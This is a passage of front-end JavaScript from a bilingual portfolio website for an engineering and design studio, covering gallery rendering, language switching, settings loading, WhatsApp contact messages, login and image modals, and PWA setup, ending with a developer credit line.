refs.projectsGrid.appendChild(card); }); refreshIcons(); } function renderRenders() { refs.rendersGrid.innerHTML = ''; if (!Array.isArray(RENDERS) || RENDERS.length === 0) { const empty = document.createElement('div'); empty.className = 'rounded-[32px] border border-white/10 bg-white/5 backdrop-blur-sm p-10 text-center'; empty.innerHTML = ` <p class="text-[10px] uppercase tracking-[0.4em] text-white/50 font-bold">${TRANSLATIONS[state.lang].renders.subtitle}</p> <p class="mt-4 text-2xl font-serif italic">${state.lang === 'es' ? 'Sin renders por ahora' : 'No renders yet'}</p> <p class="mt-3 text-sm text-white/60">${state.lang === 'es' ? 'Vuelve más tarde.' : 'Please check back later.'}</p> `; refs.rendersGrid.appendChild(empty); return; } const heightVariants = ['aspect-[3/4]', 'aspect-[4/5]', 'aspect-[5/6]', 'aspect-[2/3]']; RENDERS.forEach((render, idx) => { const item = document.createElement('div'); const variant = heightVariants[idx % heightVariants.length]; item.className = 'masonry-item group render-frame bg-white/5 border border-white/10 shadow-2xl shadow-black/20 cursor-zoom-in hover:-translate-y-1 transition-transform duration-500 p-2'; item.innerHTML = ` <div class="${variant} overflow-hidden rounded-2xl"> <img src="${render}" alt="Render ${idx + 1}" class="w-full h-full object-cover grayscale group-hover:grayscale-0 transition-all duration-700" referrerpolicy="no-referrer" /> <div class="absolute inset-0 bg-gradient-to-b from-transparent via-transparent to-black/45 opacity-0 group-hover:opacity-100 transition-opacity"></div> </div> `; item.addEventListener('click', () => openImage(render)); refs.rendersGrid.appendChild(item); }); } function updateTexts() { const t = TRANSLATIONS[state.lang]; refs.heroPhrase.textContent = t.hero.phrase; refs.heroCtaLabel.textContent = t.hero.cta; textRefs.about.role.textContent = t.about.role; textRefs.about.title.textContent = t.about.title; textRefs.about.who.textContent = t.about.whoAmI; textRefs.about.description.textContent = t.about.whoAmIDesc; textRefs.about.experienceTitle.textContent = t.about.experience; textRefs.about.experienceDesc.textContent = t.about.experienceDesc; textRefs.about.missionTitle.textContent = t.about.mission; textRefs.about.missionDesc.textContent = t.about.missionDesc; textRefs.about.visionTitle.textContent = t.about.vision; textRefs.about.visionDesc.textContent = t.about.visionDesc; textRefs.projects.title.textContent = t.projects.title; textRefs.projects.subtitle.textContent = t.projects.subtitle; textRefs.renders.title.textContent = t.renders.title; textRefs.renders.subtitle.textContent = t.renders.subtitle; textRefs.contact.title.textContent = t.contact.title; textRefs.contact.subtitle.textContent = t.contact.subtitle; textRefs.contact.emailLabel.textContent = t.contact.emailLabel; textRefs.contact.whatsappLabel.textContent = t.contact.whatsappLabel; textRefs.contact.studioLabel.textContent = t.contact.studioLabel; textRefs.contact.nameLabel.textContent = t.contact.name; textRefs.contact.emailInputLabel.textContent = t.contact.email; textRefs.contact.messageLabel.textContent = t.contact.message; textRefs.contact.sendLabel.textContent = t.contact.send; refs.contactMessageInput.placeholder = t.contact.message; refs.langToggleLabel.textContent = state.lang === 'es' ? 'EN' : 'ES'; refs.mobileLangLabel.textContent = state.lang === 'es' ? 'English' : 'Español'; textRefs.footer.rights.textContent = t.footer.rights; textRefs.footer.crafted.textContent = t.footer.crafted; document.getElementById('login-open').title = t.contact.login; refs.loginTitle.textContent = t.auth.title; document.getElementById('login-email-label').textContent = t.auth.emailLabel; document.getElementById('login-email-input').placeholder = t.auth.emailPlaceholder; document.getElementById('login-password-label').textContent = t.auth.passwordLabel; document.getElementById('login-password-input').placeholder = t.auth.passwordPlaceholder; document.getElementById('login-submit-label').textContent = t.auth.submit; refreshIcons(); } function openImage(src) { state.selectedImage = src; refs.imageModal.classList.remove('hidden'); refs.modalImage.src = src; } function closeImageModal() { state.selectedImage = null; refs.imageModal.classList.add('hidden'); refs.modalImage.src = ''; } function openMobileMenu() { state.menuOpen = true; refs.mobileMenu.classList.remove('hidden'); } function closeMobileMenu() { state.menuOpen = false; refs.mobileMenu.classList.add('hidden'); } function openLogin() { state.loginOpen = true; refs.loginModal.classList.remove('hidden'); } function closeLogin() { state.loginOpen = false; refs.loginModal.classList.add('hidden'); } function applySettings(settings) { if (!settings) return; if (settings.site_name) { state.siteName = settings.site_name; document.title = `${settings.site_name} | Ingeniería & Diseño`; const logoText = document.getElementById('site-name-text'); if (logoText) { logoText.textContent = settings.site_name; } const footerSiteName = document.getElementById('footer-site-name'); if (footerSiteName) { footerSiteName.textContent = settings.site_name; } } if (settings.favicon_url) { const el = document.getElementById('site-favicon'); if (el) el.href = settings.favicon_url; } if (settings.whatsapp_display) { const el = document.getElementById('contact-whatsapp-number'); if (el) el.textContent = settings.whatsapp_display; } if (settings.whatsapp_number) { state.whatsappNumber = settings.whatsapp_number; } if (typeof settings.whatsapp_message === 'string') { state.whatsappTemplate = settings.whatsapp_message; } } async function loadSettingsFromApi() { try { const res = await fetch(withDebug('public/api/settings.php'), { cache: 'no-store' }); if (!res.ok) { if (debugMode) { alert(await res.text()); } return; } const json = await res.json(); if (!json || !json.success || !json.data) return; applySettings(json.data); } catch (e) { if (debugMode) { alert(String(e)); } } } function fillTemplate(template, vars) { return (template || '') .replaceAll('{{site_name}}', vars.site_name || '') .replaceAll('{{name}}', vars.name || '') .replaceAll('{{email}}', vars.email || '') .replaceAll('{{message}}', vars.message || ''); } function handleWhatsApp(event) { event.preventDefault(); const formData = new FormData(event.currentTarget); const name = formData.get('name'); const email = formData.get('email'); const message = formData.get('message'); const template = state.whatsappTemplate || `*CONSULTA PROFESIONAL | {{site_name}}*\n_Ingeniería y Diseño Estructural_\n\n*Remitente:* {{name}}\n*Email:* {{email}}\n\n*Mensaje:*\n{{message}}`; const text = fillTemplate(template, { site_name: state.siteName || 'GreenEng', name, email, message }); const encoded = encodeURIComponent(text); const phone = state.whatsappNumber || '50488727078'; window.open(`https://wa.me/${phone}?text=${encoded}`, '_blank'); event.currentTarget.reset(); } function setupPwaInstall() { const btn = document.getElementById('pwa-install'); if (!btn) return; const hide = () => btn.classList.add('hidden'); const show = () => btn.classList.remove('hidden'); window.addEventListener('beforeinstallprompt', (e) => { e.preventDefault(); deferredPwaPrompt = e; show(); }); window.addEventListener('appinstalled', () => { deferredPwaPrompt = null; hide(); }); btn.addEventListener('click', async () => { if (!deferredPwaPrompt) return; deferredPwaPrompt.prompt(); try { await deferredPwaPrompt.userChoice; } finally { deferredPwaPrompt = null; hide(); } }); } function registerServiceWorker() { if (!('serviceWorker' in navigator)) return; navigator.serviceWorker.register('sw.js').catch(() => {}); } document.getElementById('menu-open').addEventListener('click', openMobileMenu); document.getElementById('menu-close').addEventListener('click', closeMobileMenu); refs.langToggle.addEventListener('click', () => { state.lang = state.lang === 'es' ? 'en' : 'es'; renderNavLinks(); renderProjects(); updateTexts(); }); refs.mobileLangToggle.addEventListener('click', () => { state.lang = state.lang === 'es' ? 'en' : 'es'; renderNavLinks(); renderProjects(); updateTexts(); }); (async () => { registerServiceWorker(); setupPwaInstall(); await loadSettingsFromApi(); await loadProjectsFromApi(); await loadRendersFromApi(); renderProjects(); renderRenders(); })(); document.getElementById('hero-cta').addEventListener('click', () => scrollToSection('projects')); document.getElementById('logo').addEventListener('click', () => scrollToSection('home')); document.getElementById('image-modal').addEventListener('click', closeImageModal); document.getElementById('image-modal-close').addEventListener('click', closeImageModal); document.getElementById('login-open').addEventListener('click', openLogin); document.getElementById('login-open-mobile').addEventListener('click', openLogin); refs.passwordToggle.addEventListener('click', () => { const isPassword = refs.passwordInput.type === 'password'; refs.passwordInput.type = isPassword ? 'text' : 'password'; refs.passwordToggle.setAttribute('aria-label', isPassword ? 'Ocultar contraseña' : 'Mostrar contraseña'); refs.passwordToggle.innerHTML = isPassword ? '<i data-lucide="eye-off" class="w-4 h-4"></i>' : '<i data-lucide="eye" class="w-4 h-4"></i>'; refreshIcons(); }); refs.loginModal.addEventListener('click', (event) => { if (event.target.dataset.close === 'login') { closeLogin(); } }); refs.loginModal.querySelectorAll('[data-close="login"]').forEach(btn => btn.addEventListener('click', closeLogin)); refs.contactForm.addEventListener('submit', handleWhatsApp); window.addEventListener('scroll', () => { if (window.scrollY > 50) { refs.nav.classList.add('py-4', 'nav-solid'); refs.nav.classList.remove('py-8'); } else { refs.nav.classList.add('py-8'); refs.nav.classList.remove('py-4', 'nav-solid'); } }); function init() { renderNavLinks(); renderProjects(); renderRenders(); updateTexts(); refreshIcons(); } init(); </script> </body> </html>
Coded With 💗 by
0x6ick